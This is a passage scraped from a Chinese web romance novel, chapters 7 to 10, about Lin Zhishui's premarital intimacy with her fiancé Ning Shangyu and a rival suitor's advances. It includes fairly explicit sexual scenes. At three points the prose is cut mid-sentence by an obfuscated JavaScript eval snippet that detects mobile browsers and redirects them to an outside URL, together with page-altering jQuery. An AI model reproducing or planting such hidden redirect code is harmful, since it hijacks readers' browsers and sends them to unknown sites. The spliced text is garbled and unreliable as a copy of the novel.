林稚水打起颤儿,突然想去推开宁商羽,指尖却脱力一样沿着他被西装严密包裹的臂膀下滑,至腕骨时,又下意识地掐紧了那道隐隐浮动的青筋。 别继续了—— 艰难地发出抵抗,连呼吸,透着一种求饶的可怜意味。 “这才试用一分钟。”宁商羽面孔显得有些不近人情,动作却慢条斯理地磨人, “你总要习惯。” 林稚水快要溢出泪,呈在琉璃一样漂亮的眼睛里,仿佛眨几下就要滚落下来。 宁商羽的试用时长很漫长,一分钟又一分钟的,林稚水起先求饶不成,只能被动继续承受,又软又黏的颤抖着像哭,好像有什么要涨破出来。 又想求饶了。 连泛起红晕的膝盖,都忍不住地去夹紧他手臂。 宁商羽全程没停的意思,高大的身影越发危险地笼罩着她,逐渐地,她眼神有些迷茫,忍不住地往他胸膛前贴,距离变得更暖昧难分起来,呼吸轻而黏意:“宁商羽。” 林稚水不知道说什么,纯粹是下意识想叫他名字。 倏地。 她感觉到宁商羽整张手掌覆上,血液里的温度透过肌肤,隔着一层料子,似是沸腾地淹没过她的魂魄。 差一点儿,林稚水隐约摸索到了什么。 这回她伸手扣住宁商羽腕骨,更像是在无声地催促着,又叫了一声他,尾音颤抖得像哭。 宁商羽反而不动,不轻不重地捏了一下林稚水,问:“舒服吗?” “嗯。”比她做的梦要舒服。 林稚水很诚实地点头。 下一秒,听到宁商羽问:“考虑清楚了吗?” 林稚水一时之间没反应过来,下意识地发出困惑:“考虑什么?” 宁商羽从来不会一个问题重复说两遍,但今天破例。 他轻描淡写道,“考虑清楚要不要和我进行婚前性行为了吗?” 林稚水欲要说话,可脑袋的神经变得迟钝异常,也忘了是点了头,还是嗯了声,总之,在宁商羽细致不求回报的帮助下。 她懵懵懂懂地终于把盘旋已久在心口的那份隐秘之情,沿着汗水和泪水,一起从身体一滴不剩地—— 淌了出来。 淌完。林稚水基本上也湿透了,那身裙子没法看,被脱掉扔到了床下。 宁商羽刚扔完。 林稚水伏在深蓝色天鹅绒床单上,眼睛忽然轻抬,在灯光下盈盈润润:“什么时候开始?” 宁商羽被她这一句过于真诚直白的话,吸引地缓慢转过身。 他还站在床沿,高大的身躯依旧被裁剪得当的黑色西装包裹,除了袖子被她手指抓出几道折痕外,光这副外表,丝毫看不出方才被“试用”过了一次。 而此刻,宁商羽垂眼,视线投在了林稚水精致肩胛骨的后背,肌肤像是暖玉升温一般,浮着极淡的红,往下…… 那腰肢过于纤细。 才陷进几毫米,就承受不住。 气氛安静半响,宁商羽俯首,倏忽靠近她,却只是伸出两指,带着暧昧的湿痕将她下巴顶了起来一寸,“现在不合适。” 林稚水唇微张了张:“为什么不合适?” 宁商羽没回答。 面容冷静地注视片刻,松开的同时,重新走进了浴室。 这次门没有堂而皇之敞开了。 哗啦啦的水流声响得更猛烈,宁商羽脱掉西装,面朝墙壁地站在了淋浴间,调至最低温度的冷水开始沿着他线条绷紧又充满蓬勃力量的肌肉背部向下。 他面无表情地将手覆到劲腰之下的位置。 随着宁商羽抬手,明晃晃的灯光下,从腕骨到小臂内侧烙印着一道长达20cm以上的黑色极简直线刺青,在男人冷白肌理极为显眼,流露出禁忌而神秘的危险感。 十分钟时间过去了。 林稚水躺在床上懒得动弹,脑袋却没有停止思考,怎么都没琢磨明白,现在怎么就不适合了? 正当她困惑得起劲时。 手机提示音响了。 林稚水以为是阿泱她们亦或是妈妈发来的,谁知倾身拿来一看,微信界面上的通知栏里显示有新消息: 是沈临疏加她好友。 林稚水指尖悬在干净的屏幕上方两秒,她没有立刻点了添加好友,而是将其截图下来,转而点开了与林曦光的聊天框,发送了过去: 【瞳瞳,这又是你在外甩不掉的众多偏执狂追求者的其中之一吗?】 初日瞳瞳照稚水——林曦光的乳名。 林稚水平时都是这般亲昵无间的喊她,也心知姐姐忙,特别是联姻之后,就更忙了,所以一般很少会主动打扰她。 除非有例外。 林稚水是觉得沈临疏傍晚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494865|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐厅主动献殷勤,又打着与林曦光同校友的名号,又深夜来加微信,心里便猜测到: 她跟沈临疏又不熟,只有两面之缘而已,所以多半是对姐姐图谋不轨,才想从她这边着手。 想了片刻。 于是,又敲了一段文字过去:【你小心此人。】 林稚水这边对陌生人的警惕意识非常高,殊不知真相……沈临疏已经找林曦光连线闹过一回苦情戏了,原因很简单,她当年说自己妹妹不接受跨国婚姻。 那现在,就能接受商业联姻了? 紧接着又闹,说林稚水于他而言,就是天上掉下来的小仙子小菩萨,用一句老祖宗俗点的话来概括,这辈子心甘情愿跪下来给她当脚垫,伺候她。 结果遭到林曦光那女人的冷嘲热讽:“你自己定力不足怪谁?还想伺候她?伺候的明白么你。” …… 林稚水把手机关机后,重新躺回了床上,时间起码已经过去一个小时,她稍微抬起头,眼尾的余光往灯火通明的浴室扫了几秒。 宁商羽在洗澡吗?! 好慢啊!!! 看来等结婚后,不能跟他同时共享一个浴室。 林稚水小小攀比了下,淡红唇角微翘,心想她洗澡快多了。 继而,将脸蛋重新贴在柔软枕头上,也不知哪个枕头是宁商羽平时睡的,呼吸到了股清冽的冷杉气息,有点儿类似于宁商羽西装上的味道。 原以为第一次离开港区,在外过夜会失眠。 林稚水霸道地占据了主卧这张大床,懒得去另寻房间,想着等宁商羽出来商议一下,让他去隔壁,却就着浴室哗啦啦的水声,竟不知不觉地熟睡了过去。 再次醒来时。 窗外的天色已经大亮,而林稚水身体还残留有昨晚舒服过的后遗症,仿佛一夜都没真正褪去似的,余温犹在。 待她迷迷糊糊地捂着被子坐起,白皙的脚尖探出,刚点在冰凉地板上。 突然间。 反应敏感地察觉到一丝异样,怔了几秒。 好像又湿了。 林稚水僵住不动了。 继而,为了清空脑子里一些胡思乱想的东西,她眉间微蹙,想要转移下注意力,眼一抬,发现巨大的玻璃落地窗外。 ——是湖泊。沿着湖泊种植下了大片充满蓬勃生命力的树木,郁郁葱葱,仿佛是在给这栋一尘不染到了毫无人气的冰冷华美建筑物添点儿鲜亮色彩滤镜。 刚刚冷静下来。 这时,宁商羽推门而入。 他手里端着个沉木盘,里边是热牛奶搭配鱼片粥,步伐不紧不慢地经过窗前时,浅金色的日光透过树枝阴影,斜斜照过披在身上的黑绸睡袍衣领处,微敞开,不经意间露出胸肌的性感轮廓。 “醒了?”宁商羽把早餐搁在床头柜。 显而易见,是算准了她睡眠作息时间。 林稚水瞄到他露出的手腕筋骨匀长,不受控制地想起他昨晚在她身上抚弄过的画面。 然而,现在光天白日的—— 心跳了一跳。 好了,一看到他本人,白平复了 略显尴尬了起来,没话找话,“外面的树好漂亮,叫什么?” “落羽杉。” 落羽杉? 这名字真好听,树也好看。 林稚水若有所思的视线重新落回他这儿,宁商羽高大的身形站在床边不急着挪动脚步离开,分不清是不是要盯完她吃早餐。 宽敞主卧的气氛,陡然变得极静起来。 林稚水突然出声,似是极为神秘兮兮:“宁商羽,你靠近一点好不好?” “嗯。” 宁商羽原本居高临下地看她,此时配合着俯过身。 林稚水严严实实捂在被子里,只见白皙的手指尖勾着什么,在他靠近时,快速准确地,塞到男人质地冰凉的睡袍口袋里。 “这是我的答案。” 宁商羽顿了几秒,随即当林稚水的面,下秒便伸手口袋,骨骼分明的长指挑出了一块薄如蝉翼、濡湿的小布料。 缓慢与她对视。 林稚水的眼睛睁大,瞳孔一如既往的清澈透亮,仿佛做了件坦坦荡荡的事。 宁商羽了然—— 她同意了。 婚前性行为。 8.第 8 章 林稚水来到泗城后,就没有被送回港区林家。 盛明璎的态度明显是默许了她跟宁商羽培养未婚夫妻感情,自然不便长期两地分居,何况宁商羽还是个大忙人。 而林稚水也很忙。 她居住泗城就得有属于自己的私人住处,正忙着挑选宁商羽名下的所有房产,可身子窝在皮质大沙发里,手指头滑动银白色平板上的图册都快滑冒烟了,愣是没选中个合心意的。 图册上的每一栋超级豪华别墅,都是按照宁氏家族对她身份的最高规格精心置办,管家见她不满意所有房子,继而,又火速地换了新的图册上来。 林稚水顿住了几秒,虽说她现在满脑子正经事,但是也需要中断休息一下。那双澄澈的眼眸轻眨,视线犹如水波顺势漫了出来,沿着眼尾—— 漫到了那面落地窗外视野绝佳的湖泊景色上。 宁商羽居住的这栋住宅乃是泗城著名的继承人区,据闻不少名门望族权贵都择此处安家,而他这里的建筑设计别具一格,被最天然水系蜿蜒其中,又有高耸参天的落羽杉相傍。 林稚水从小像是在大型玻璃房里长大,对外面的世界无比渴望,内心本能地会被一些具有蓬勃生命力的东西深深吸引。 管家福灵心至:“林小姐喜欢宁先生的私人居所?” 虽说宁商羽有重度洁癖,私人区域一向是禁止闲杂人等入内,哪怕是家族里那些弟弟们都不能随意留下过夜,但凡稍微把他极度干净看不见一丝尘埃的地方弄乱,都得挨训。 可林小姐是谁? 未来的宁太太啊!! 是不久将来可以名正言顺地,入住进来的女主人。 管家尽职尽责地为林稚水择房这事排忧解难,主动开口:“我可以请示一下宁先生。” 林稚水眼眸一直凝望着那片落羽杉,不知在想什么似的。 半响后。 她叹了口气,虽然心里很想趁着宁商羽不在家,霸占这间非常喜欢的居所,可惜是他私人住所,如果一起住的话……未婚就夜夜同居一处,名声上总归是不太好听。 “没……不用请示,只是这些房子里的床我都不太喜欢。” 林稚水随意找了个理由拒绝了管家的热心提议,重新捧起平板,索然无味地随便挑了一个:“就这个吧。” 管家察觉到林稚水的情绪,总不能让未来宁太太凑合吧。 思索片刻,最终还是决定请示宁商羽,他隐晦地提及:“林小姐好像对居所的床不太满意……” 此时此刻那架公务机上,一众西装革履男人语速很慢的交谈声诡异地停止了下来,什么股市理念和融资项目都不继续交谈了。 对管家致电来的那句引人遐想话,显然更感兴趣。 继而,又将极其隐晦的视线扫向:坐在豪华真皮沙发上的正主。 宁商羽近日忙于赴美收购谈判的事,连个人休息时间都安排得很短,穿着正式,架着副黑金边眼镜框,视线依旧没有离开文件。 在气氛安静的这三秒钟内。 陪同在侧的宁濯羽与另一位旁支出身的宁赐羽交换了眼神。 兄弟二人是家族出了名的兴风作浪组合,但凡羽字辈的内部起事端,多半都是先由宁濯羽一手搅合起来的,继而,宁赐羽负责煽风点火打配合。 而明显属于狂躁品种宁濯羽再怎么疯批,也心甘臣服宁商羽的君主制,说直白点,是妥妥的事业粉。 这会听到林稚水在泗城的消息。 简直就犹如宁商羽密集的工作行程里突然塞入了一份活色生香的私人日常。 宁濯羽眼睛写着:“啧,这林家养出来的小女儿不得了。” 宁赐羽眼睛也写着她绝非善类几个字:“哥接管家业起,多少门当户对的适龄未婚千金蠢蠢欲动,林家这个小的还没正式入门,又不好用宁太太的身份查岗,不得用这种择床的娇气借口来宣誓下存在感。” 毕竟家族内部都知晓,宁商羽虽有性瘾,却常年让秘书随身携带家族专门为他秘密研制的针剂,不就因为他权力至上,私下极端禁欲吗! 宁濯羽眼睛刚冒出祸水二字。 比他先一步的,是宁商羽沉吟片刻后,对林稚水到了陌生的城市生活,有择床而睡的高需求情况。 也没避讳众人的意思,忽而吩咐一旁端着沉稳干练模样在等待指令的黎近,淡声道:“把太平山顶那张床给她睡。” 太平山顶住所的床是根据宁商羽睡眠习惯以及体型、肌肉放松需求精密制作而成,哪怕他极少涉足港区地界,至今都无人有资格能去躺。 看看,娇气一下,连床都分享出来了! 宁濯羽就犹如家养的暴躁宠物狮,没忍住发点“杂音”出来似的,眼睛里的祸水两个字,瞬间加粗一百倍。 … 林稚水被隔空盖章祸水名号,也没想到自己当初就是多看了两眼太平山顶的那张……四个人以上的黑丝绒大床。 隔日,转眼就被宁商羽吩咐秘书空运到了她选的新居里。 新居是一座带花园的独立洋房,配备三重智能安保和数名管家佣人,三层楼上楼下的面积很大,摆设多用古典风格的陶瓷画作拍卖品,光线也极佳,日照时,犹如淡金色的鱼尾轻拂过木质地板。 林稚水没有让秘书作陪,独自沿着旋转楼梯向楼上的主卧走去。 天花板高的两扇门是敞开的。 原先新床的位置,已经被那张黑丝绒大床霸道地完全占据了。 这气派,竟跟宁商羽本人有那么一点儿异曲同工。 林稚水慢悠悠地走过去,垂眼看了几秒,仿佛是找到了新的乐趣似的,先是伸出一根手指尖抵着触摸了起来。 丝绒质感极好,让她鬼使神差地想到了宁商羽柔软又坚硬的指骨肌肤。 下秒,林稚水那根手指压了压,见到黑丝绒微陷的痕迹,才恍惚间终于惊醒似的,都怪宁商羽那晚教她生理知识时,太深入人心,而她平时学习模仿的能力也丝毫不输…… 林稚水低垂的浓睫颤了颤,随即,又突然想到: 这一个人,怎么睡的过来啊? 她平时睡相规规矩矩的,又不差。 干嘛送这么大的床…… 宁商羽难不成有什么其他含义? 不能的吧。 林稚水在心里琢磨着,虽然接触的不深,却感觉他不太像是送床当性暗示的人。 不过既然选择住这儿,床也送到面前了。 没有不睡白不睡的道理。 林稚水选择躺了下来,跟继续寻找到第二个新的乐趣一样,用自己这具纤瘦的身体好奇地测量了一下宽度。 阳光透过曳地的薄纱窗帘,仿佛洒下了一抹金粉似的照进来,无声落在了林稚水后脖,她测量完,继而将额头侧贴着柔软枕头,乌黑发丝散开,隐约露出的部位过于纤细又很白。 不知不觉地睡着了。 等到夜深时分,倒是被百忙之中终于想起回她之前消息的林曦光吵醒。 林稚水身体只占据了床铺的四分之一位置,安静地侧卧着,犹如精致洋娃娃般,随着手机提示音震动,她动了动,睁开了眼睛。 茫然了一瞬,才慢半拍地从枕头摸出来查阅。 而点开后……先前与林曦光的聊天框里,还停留在她说的那句:【你小心此人。】 此刻,新添了一句回复的话:【你自己小心才是。】 林稚水:【?】 林曦光:【冒昧问一下我的妹妹,你是怎么推算得出结论沈临疏那色谜心窍的美籍华裔男想追求我?靠你这张干干净净的小脸蛋吗?】 林稚水一字一字敲过去:【唔,靠你的脸。】 林家出美人,虽然林曦光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504737|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更神似母亲容貌些,但是姐妹的五官轮廓还是有神似之处的,倘若细细端详的话,就会发现林稚水只是瞳孔颜色偏浅、自带怜悯感的眉眼生得跟万人迷体质的同胞姐姐不一样。 而林稚水自幼被过度保护,在男女之情上犹如一张纯白无瑕的纸,自然不会想到自己身上。 两分钟后,林曦光这次发来的是一段语音,声音轻而浅地笑了下:【整整十八年时间……我替你拒绝的追求者没一千个,也不下一百个。善善,现在你长大了呢,长大就意味着可以为自己的人生全权负责,这次你自己去拒绝吧。】 有一百个吗? 林稚水觉得自己成年之前,接触到的人可能都没一百个。 继而,视线重新落到最后一段话上,要她自己去拒绝被林曦光亲口盖章上色谜心窍几个字的沈临疏。 三更半夜的。 聊这个。 跟做噩梦有什么区别? 林稚水指尖一打滑,恰好滑到了宁商羽的微信上。 速度太快缘故,还滑了个句号过去。 想撤回似乎已经来不及。 今晚百忙之中的林曦光在线。 日理万机中的宁商羽也在线。 宁商羽:【?】 反正都打扰到他了,索性多打扰一分钟。 林稚水此刻像是音乐盒里的缩小版精致洋娃娃,他一个问号过来,像是被上好发条,手指跟有在自主意识似的,打字过去:“宁先生,你的床太大……我做噩梦了!” 宁商羽那边隔了几秒才回:【林小姐,你想怎么办?】 林稚水没想到他竟把问题不动声色地抛回来,随即抿唇,又慢吞吞地打字:【在家里,阿琴她们都会轮流陪我睡觉的。】 来泗城后。 她并没有把自己婚前嫁妆——三个仙女教母带上。 这次消息发过去,就跟石沉大海一样。 林稚水睁着眼睛等了半响,心想着,或许是宁商羽又去“日理万机”工作了。 她心里叹了口气,佯装自己也很忙,忙着躺在这张超大的床上继续睡觉,手指扯过被子拉到脸蛋,遮住了精致的鼻子往下部位。 薄薄的眼皮刚合上,安静不到一分钟,被子极缓慢地滑动下来。 林稚水后知后觉,忽地坐起身。 下秒。 她的视线就黏住了像是凭空出现的宁商羽身上,他应该回消息时就已经进入这栋住处,在台灯暖橘色的光照映下,一身暗色高定西装仿佛被镶了一层金边,犹如撕开夜幕的神明。 而这个神明,正俯身靠近床沿,伴随而来的,是他低低笑了一声,“原来林小姐不是择床,那是择人而睡。” 林稚水一时间竟无法为自己反驳。 她瞳色很纯粹,还黏在宁商羽身上没下来过,许是夜深了,这幕又像是电影经常演的性幻想开头…… 随着宁商羽长指漫不经心地顶起她滑而柔腻的下巴,林稚水坐着没躲,任由他俯首用嘴唇触碰到微凉皮肤,缓慢地,透着他浓烈滚烫气息,若即若离地蹭到了唇角。 这是婚前性行为开始了? 林稚水逐渐睁大的眼眸映出了他俊美的面容,甚至指尖紧张地攥紧黑丝绒床单,微微地颤抖,显出象牙般的质地。 等唇齿被抵开,宁商羽从轻柔到强势地侵占她的温热口腔时,光是这种试到程度,就让林稚水情不自禁吞咽间,又被这股巨大刺激得一下子条件反射地又想推人了。 这次一坐一站的面对面姿势缘故。 暗光里,她惊颤的手指慌慌张张地抓到了他腰肌往下的陌生物体,那真实触感,比她平生触碰过的任何东西,都具有蓬勃生命力。 莫名停住。 时间过去一分一秒。 林稚水的手指没松开。 宁商羽那双摄人的眼睛,也盯着她。 9.第 9 章 宁商羽由她攥着,眸光落在那手腕子上,神色意味不明。 滚烫又陌生的热意透过皮肤传进指尖,倏然就泛起一层薄薄的粉色,像是映着朦胧灯光下的芙蓉玉石。而林稚水怔愣了一瞬,松开手。 “我……不是故意的。” 话音才落地。 没等林稚水急于自证清白一番,宁商羽骨节分明的手掌扣住她后颈,重新吻了下来,起初是霸道地以舌攻占,再逐渐加深亲吻至喉咙,另一只手臂轻而易举地圈住她腰身,犹如很高明的捕猎手段,从黑丝绒床上忽而提起时,他将溢出的字咬得轻,含义却极重,似是命令一样: “把舌头伸出来。” 林稚水条件反射地听从,把红的舌尖递过来。 宁商羽低头含住,短暂的十几秒钟过去,林稚水面颊连着耳廓温度升高,是被热息硬生生给烫红的。 第一次和人正式接吻,她完全没经验,只能循着本能,双手主动配合地紧紧攀附着宁商羽宽肩,双腿自然勾在他腰间。 一些不经意的动作,贴得近,让她磨蹭到了先前手心碰到的位置。 □*□ 宁商羽反而纹丝不动了。 林稚水表情茫然面对他,视线从这张冷静至极的面容,往下滑,忽然挨过去,鬼使神差地亲了一下他喉间性感凸起的结。 宁商羽顷刻间感到青筋脉络的血液朝那处涌去,垂眼深深凝视着她。 林稚水亲了一下,又歪头舔了一下。 她极少做大胆出格的事情,动作其实很生疏,又想模仿他超高技巧,偶尔磕磕绊绊能找到准确的位置,偶尔又会因为紧张情绪偏移一点儿。 而被这般越过安全距离,宁商羽的态度很微妙地无声纵容着,身着的这套熨得整洁的西装,不到一时片刻,就被她又软又黏磨蹭出印痕。 随着林稚水像是积雪一样,滴沥滴答?地开始融化,继而,力气也都耗尽了,完全倒在了他身上,眉头似乎是紧蹙了一下又很快松开。 太敏/感了。 明明已经承受不住这股刺激地喘着气儿,湿润的唇还无意识地想继续挨上他。 温度倏然撤离。 逆着光的原因,宁商羽神色更显意味不明:“这就舒服了?” 光是跟过家家似的浅尝辄止,还是宁商羽一点肢体力气都没用上的情况下,林稚水已经身体疲惫到极点,经他语调变低一问,混沌的脑袋总算清醒过来,羞耻感也后知后觉地浮上心头,覆盖过了刚才难以忍耐地想跟他更加紧密的渴望。 舒服是舒服,但隐隐约约地觉得还差点什么…… “没力气了,”林稚水睫毛尖儿颤动,话落时,又意识到不好继续黏在他怀里,身子也很黏,声音更是:“宁商羽,我想洗下澡。” 夜深人静下,宁商羽像个好人一样慷慨地为她提供了注满温度适宜热水的超级大浴缸。 林稚水清理自己花了很长时间,起码待到水循环换了三遍,才爬起来。 身披浴袍出来后,安静的主卧内已经不见宁商羽身影,她莫名地松了口气,虽然答应婚前试,也仅限于试完……就各睡各的,暂时还没心理建设好跟一个男人每晚同床共枕是什么画面。 而且两人在某方面差别悬殊过大。 今晚她手指还亲自体验过,别说同床共枕,能不能在试时,匹配的上都不一定。 林稚水躺在柔软空荡的黑丝绒大床脑补了会儿,在即将昏昏欲睡时,又抓住了一丝好奇的求知欲,迷糊间打开手机,搜索起了两个关键词: 【尺寸匹配不上会死吗?】 【人会因为一晚上频繁的进行颅内高潮很多次死掉吗?】 …… 林稚水倦得厉害,还没浏览完屏幕内容就阖上眼眸睡着了。 第二天起床时,她惦记这事,简单洗漱干净,换好衣裙下楼,幸好宁商羽留宿客卧还没走,一副极度自律的派头正坐在餐厅喝咖啡。 “早安。”林稚水道了声,走过去站在长餐桌旁,佯装不经意地说,“你床起得好早啊。” 宁商羽抬头,平静地接住了她的视线。 林稚水在原地不动,流连在他这身绸制西装上,跟多感兴趣似的,先从驳领处的胸针到钻石纽扣,继而,又往下…… 宁商羽面色没有变化,即便是端坐着,摄人气势也处于上位。 在日光照映下,反倒是林稚水漂亮睫毛的阴影晃晃荡荡,难掩好奇心,毫无征兆地直白开口:“可以给我看一下……我昨晚摸过的那个东西吗?” 宁商羽似乎顿了顿,猜到她有话,没料到是这种话。 而林稚水脑袋里的想法非常纯粹,都在黑灯瞎火下摸过了,看一眼也无伤大雅吧?而且,主要是隔着西装裤的手感大到离谱,她就想趁着宁商羽难得空闲没走,亲眼证实一下: 两人是不是真的匹配不上!!! 气氛瞬间变得微妙起来。 林稚水礼貌问:“可以吗?” 宁商羽也礼貌拒绝了她无理需求:“不可以。” “哦。”林稚水语气有些失落,不过也选择尊重宁商羽个人意愿,总不能当众脱他裤子。随即,慢吞吞地选了张椅子坐下。 在她安静享用早餐时。 宁商羽面无表情地吩咐了一句什么话给黎近。 黎近步履生风地出去了片刻,等再次出现时,手提了黑银色的小型保险箱,将其解锁,毕恭毕敬地放置在了桌旁。 林稚水咽下燕窝粥后,倏地抬起头,有些不解地目睹着这幕。 宁商羽似乎没管她,靠在柔软的皮质椅背上,动作游刃有余地解开了整洁衣袖的纽扣后,长指拿起被日光照得璀璨光芒的针剂,直接打进静脉里。 站在旁观者的角度,林稚水险些下意识要问他,这一大早的好端端打针做什么,难道是生病了? 话到唇间又咽下去,莫名觉得不太合适问。 林稚水安安静静垂眼,看了下自己小身板,又不经意地去瞄一下隔壁宁商羽外形俊美凶悍的体魄。 她昨晚整整泡了三次澡,把水泡凉了,都没生病呢。 宁商羽体质怎么差的吗? … 林稚水这性子有时私底下挺爱琢磨人的,还没把宁商羽体质的未解之谜琢磨透切,倒是被转移注意力了,先一步接到盛明璎身边的女秘书来电。 女秘书传达: 沈临疏那边称是手头上收集到了一本林砚棠生前手写绝版手册,又听闻林稚水学业主修海洋系,想要物归原主,却联系不上她。 最后,女秘书跟她隐晦透露:“小小姐,盛总的意思是,让你自行决定,是否要从沈临疏手上拿回你父亲的遗物。” 在林家,林稚水出生起就被视为林砚棠留在这个世界上的最大遗物,除了基因上继承到他那双古典琉璃眼外。哪怕是百岁抓阄时,什么都不抓,就偏偏抓住了一本他生前最爱的海洋生物书籍。 也是她幼年时期,第一本启蒙绘本。 挂完电话。 林稚水心里了然,她这个大遗物,自然是责无旁贷去收回小遗物。 两人见面约在下午。 沈临疏费尽周折多日就等这刻,地点选在了一家繁华地段的高档餐厅,靠着落地窗,景观非常好,室内装潢古典情调,静谧的氛围很适合谈天。 为表诚意,一露面,沈临疏就把珍贵手册绅士风度交了出来。 林稚水与他对视,忽然唇角弯起浅浅的微笑:“多谢,冒昧多问一句,不知沈先生是从何人手中收集到的?” “一个老教授家里。”沈临疏没有故弄玄虚,屈起食指,指关节有节奏地点了点手册,说:“你的父亲无论是在保护海洋领域还是生物制药领域都是一位令人敬佩的资深企业家。我敬佩他,也不忍他的遗物流落在外。” 林稚水声音很轻:“是啊,我父亲生前最喜欢做些利国利民的慈善,可惜好人不长命。” 这种平静又悲悯的反应,完全没给沈临疏能趁机安慰一番的机会,他顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508557|170048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了片晌,似乎在酝酿下一句话。 “除了这个。”林稚水虽然拥有着一副看起来洁白又好欺骗的美丽皮囊,但是事实上很清醒,“你还有什么追求人的招数,说来听听?” 最好一次说清楚点。 她好一次性拒绝,真没功夫陪他玩把戏了。 沈临疏冷不防地听到后,明显神色被震撼了半响,继而看她眼神不再是纯粹对美人的欣赏,而是有些意味深长起来。 林稚水继承了林砚棠的基因,自然身上就没有一颗细胞是真正愚蠢的。 沈临疏到了适婚的年纪想择偶,图她美貌这事,就差抬到明面上了。 半响后。 沈临疏被她话点得退无可退,继而,态度坦然地与她对视,“在你面前我毫无战术,林小姐,可否能考虑换一下未婚夫?我父母感情和睦,又是独子,家中并无争权斗势的兄弟,将来会顺位继承家族企业,你缺失的一切,我都能弥补上。” 港区。 “那位北美财阀继承人看来是费了一番手段打探到了林家秘事,小小姐会给他投其所好的机会吗?” 女秘书通完远程电话,得知林稚水已经赴约后,随即望向盛明璎。 盛明璎正垂眸欣赏着玻璃缸里的绮丽珊瑚礁,似觉得有趣,笑了起来,眼尾清晰地泛起碎光潋滟:“不会,她心思剔透着,先前对于空降婚约不抵抗不问,是因为猜到了一定是宁商羽给出了我无法拒绝的诚意,如此,又岂是区区一本遗物就能收买她呢?” 女秘书了然过来。 随即,若有所思地打量盛明璎多年来却半分不损的美艳侧脸。 在弱肉强食的世界里,美貌一旦过甚又自身能力不强,就很容易成为罪过,经心存嫉恨又垂涎的人前来摧毁。 盛明璎当年意外失去丈夫,只能快速用心狠手辣且睚眦必报的做派扬名,才能护住在林家的遗产以及长女。 而对于体质脆弱的次女林稚水。 女秘书还没有资格窥探到宁家到底给了什么诚意,所以也猜不透盛明璎是怎么舍得把美则美矣,却只有在舒适又干净环境里才能存活的女儿说送就送到了狮群环伺的宁家去。 盛明璎倏地抬眼,朝她看过来。 女秘书迅速清醒过来,恭敬地垂下了头。 盛明璎早已对各种窥视免疫,美艳唇角挑起嘲讽的嗤笑,说:“沈临疏的事不用再汇报给我,宁氏家族的基因刻着傲慢,宁商羽这一辈的更是傲慢到了不可一世地步,可受不了这种气。” 盛明璎料想的没错。 此刻泗城,林稚水婉拒换未婚夫的提议后。 沈临疏也当场表示哪怕被拒绝,也是一种荣幸。 彼此看在家族或多或少也有点儿人情世故份上,都维持着体面,然而,刚走出这家餐厅,意外就发生了。 沈临疏原是想当一回优雅白骑士,亲自护送林稚水回去。 谁知这殷勤还没献出去,他停驶在街道旁的那辆迈凯轮就被一声巨响给惨不忍睹地撞成了破铜烂铁。 而那位车技高超的罪魁祸首,正不紧不慢地降下墨色车窗,逐渐露出了半张五官艳丽深邃的侧脸轮廓,先是扫了一秒安静站在原地,裙摆都没动下的林稚水。 紧接着,掏出手机利落地录视频发送,又同时拨出了那个私人号码。 待对方接听。 那高傲不可及的姿态才算敛去一些:“尊敬的兄长大人,我这台车被小摩擦了一下,旧了,你可要奖赏弟弟我啊,我要车库那台新超跑。” 宁商羽很平淡的语调道:“把人接回来。” 宁濯羽:“遵命。” 沈临疏见他旁若无人打起电话,这行为无异于赤裸裸的示威与挑衅。 心底被激起些微愠怒,冷声问:“你哪位?” 宁濯羽靠在车门上,抬了抬下巴:“听好了,我名字叫宁濯羽——是宁商羽的宁,宁商羽的羽,单字濯。” 他的自我介绍堪称把“狐假虎威”四个字写在脸上。 10.第 10 章 林稚水在原地站了两三秒,睫毛密绒绒的被风吹得轻眨,正想收回视线,却猝不防及地跟宁濯羽对上了。 他人如其车,色彩斑斓艳丽又恣意张狂得没边了,眼神直直地瞧过来,有那么一瞬间,林稚水悄然地后退半步又止住,不禁心想,看我干嘛,我是站你这边的啊。 “……” 下秒,林稚水率先轻咳了声走近,连车门都是自觉绕到副驾一侧,伸出手指打开的。语气平静:“小濯司机是吧,不用你请,我自己坐好。” 小濯?还小濯司机? 宁濯羽盯了她弯腰进车内的侧影片刻,连眼尾的锋利弧度都清晰而微妙,随即,罕见地没有现场来个狮子炸毛,却当着脸色沉到濒临爆发前的沈临疏面,堂而皇之地驱车走人。 临近傍晚时分,光与暗的界限被模糊不清,犹似业余画家泼翻了的颜料。 当宁濯羽单手方向盘猛打,第三次利落超车时,林稚水眉心轻蹙,慢慢展开,又轻蹙起来,表情透着几分一言难尽:“你尊敬的兄长大人应该没给你设什么时间限制,在天黑之前,把我接回去吧?” 她意图,想用恰到好处的音量委婉地暗示,可以礼让礼让街道的车。 